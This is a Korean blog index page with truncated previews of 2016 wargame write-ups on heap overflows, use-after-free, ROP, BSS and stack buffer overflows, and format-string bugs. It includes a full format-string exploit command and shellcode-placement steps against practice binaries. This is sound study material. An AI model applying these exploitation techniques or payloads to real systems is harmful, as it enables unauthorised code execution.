본문 바로가기

COMPUTER435

HEAP Heap Memory는 큰 메모리 블록 여러개로 이루어져 있다.각 블록은 블록의 크기와 그 밖의 사항을 설명하는 작은 헤더를 가지고 있다.힙 버퍼에서 오버플로우가 나면, 힙의 다음 블록 헤덜르 포함하는 영역을 덮어쓰게 된다.다음 블록의 헤더를 덮어 쓴 후에는 메모리에 임의의 데이터를 쓸 수 있다. 프로그램은 Heap 영역에 존재하는 데이터를 참조할 때에는 포인터 변수를 사용한다.즉 이름으로 접근하지 않고 주소로서 접근한다! Heap 은 프로그래밍에서 동적할당을 위한 공간이다.메모리 할당은 정적할당과 동적할당으로 구분할 수 있다.컴파일시 미리 크기가 정해져 들어가는 할당->정적할당프로그램 실행시 크기가 정해져 들어가는 할당->동적할당 malloc()->free() malloc함수 성공시 Heap Memor.. 2016. 12. 24.
uaf #include #include #include #include #include using namespace std; class Human{private:virtual void give_shell(){system("/bin/sh");}protected:int age;string name;public:virtual void introduce(){cout 401550->40117a(HUMAN의 give_shell)인데, +8해서 401558->401376(WOMAN의 introduce)이 실행된다. 이 또한, 3을 입력하면, c25ca0이 401590->40117a으로 바뀐 후, c25ca0이 모두 지워버린다. 1->3 delete하지 않고, 2를 할 경우1->2 c25ca0보다 훨씬 뒤에 입력이 된다.b4.. 2016. 12. 24.
ssp 매우 재미있는 문제를 풀었다바로 이대진 선배님의 과제였던 ssp문제이다이것은 eip를 41414141로 조작하는 문제이다 메인이 없는 것 같아 보일때는 아이다에서 start에서 마지막에 0x804865c로 가는 것을 볼 수 있는데, 이곳이 메인임을 알 수 있다. 일단, 0x804865c에서 read를 하여 입력을 받는다, 이때, i=strchr(&v3,58)을 하게 되는데, 이는 v3의 주소에 적힌 값에서 :가 있는 곳의 주소를 i에 넣는다.for문에서 중간에 i만 있는데, 이는 i가 참일때까지, 즉 null이 아닐때까지 i는 i+2가 되어 반복을 한다. 0x80485bd를 보면 a2-a1+1을 하게 될때, a2는 :가 있는 곳의 주소고, a1은 v3의 주소 이므로, a2-a1+1은 처음부터 :까지의 길.. 2016. 12. 14.
ROP2 이를 이용해 system("sh")로 쉘 얻기!! 일단, memory leak을 해야 한다. __libc_start_main : 0xb7e1c500__libc_system : 0xb7e3e850 offset: 0xb7e3e850-0xb7e1c500=0x22350 0x80482c0은 __libc_start_main의 plt 0x804a00c는 __libc_start_main의 got0xb7e1c500은 실함수 0x80482c0와 0x804a00c는 바뀌지 않지만, 0xb7e1c500은 바뀐다.0x804a00c에 있는 어떤 값 x에 offset을 더하면 __libc_system주소가 됩니다!! system함수의 인자 sh를 만들어야 한다.bss 부분에 넣자 0x804a018은 IDA에서 보면 알 수 있듯이 .. 2016. 11. 17.
ROP1 writable인 곳에 넣어야 한다.IDA에서 확인 0x080491b0 0xbfffe500에 값 들어가기 시작 0x080480db : popal ; ret 0x080480d8 : rep stosb byte ptr es:[edi], al ; ret rep있으면 ecx가 0이 될때까지 반복al의 값을 edi에 있는 주소의 값으로 넣는다. AL은 EAX의 마지막 8bit(1byte) 처음 도전: r < 2016. 11. 11.
ELF32 - BSS buffer overflow 0x804a040부터 써지므로, 0x804a240까지 덮어씌울 수 있다.0x240-0x040=512 지금은 0x804a240에 exit주소가 써있다. 0x804a240에는 쉘코드가 있는 곳을 써 넣는 것이 아니라,,,쉘코드가 있는 곳의 주소를 써 넣어야 하므로,0x804a23c에 쉘코드가 있는 곳을 써 넣고,0x804a240에는 0x804a23c를 써 넣으면 된다. 쉘코드는 argv[1]의 위치로 그 주소를 확인 할 수 있다. 2016. 11. 7.
ELF32 - Format string bug basic 2 %8x를 9번 썼을때 41414141이 나왔다.여기서 check의 주소를 알려주었으므로 이를 이용한다.0xbffffbd8에 0xbeef를 넣고,0xbffffbda에 0xdead를 넣는다.0xdead=570050xbeef=4887957005-48879=8126이다.따라서 페이로드는 다음과 같다../ch14 `python -c 'print "A"*4+"\xd8\xfb\xff\xbf"+"A"*4+"\xda\xfb\xff\xbf"+"%8x"*8+"%48839c"+"%n"+"%8126c"+"%n"'`이때 check의 주소가 0xbffffbb8로 바뀌는 것을 확인할 수 있다. 페이로드를 수정해준다.하지만, beef가 bf17로 나온다.0xbf17-0xbeef=40 48839-40=48799이고, %48799c를 넣.. 2016. 11. 7.
ELF32 - Stack buffer overflow basic 5 이 EBP는 Init함수가 push ebp, mov ebp esp 한 후의 ebp이므로Init함수의 Return address부분은 0xBFFFFAFC이다. 0xbffffa54에 처음 들어간다!! 어느 정도 진행한 뒤!! 0xBFFFFAFC-0xBFFFFA54=168 그 다음 4byte가 Init 함수의 Return Address이다. Init 함수의 Return Address에 0xbffff86d를 넣었다. 0xbffff86d부분은 널바이트+쉘코드 부분임도 확인 하였으나, 쉘이 뜨지 않는다...?? 2016. 11. 7.
ELF32 - Stack buffer overflow basic 4 환경변수를 오버플로우 시킨다. USERNAME이 없으므로, USERNAME에 쉘코드를 넣어준다. 이 부분은 환경변수 부분이다!! strncpy 이전 strncpy 이후 쉘이 들어간 구조체가 어디에 있는지 정확히 알 수 있다.적당히 0xbffff5fc 라고 하자! PATH가 들어가는 부분도 찾았다. 이 EBP는 GetEnv가 시작되고 나서 push ebp-> mov ebp esp 하고 나서의 ebp이므로 ebp+4지점 0xBFFFF79C가 GetEnv의 Return Address부분이다. 0x79c-0x6fc=160이므로path를 오버플로우시켜 GetEnv의 Return Address를 0xbffff5fc로 덮자! 2016. 11. 7.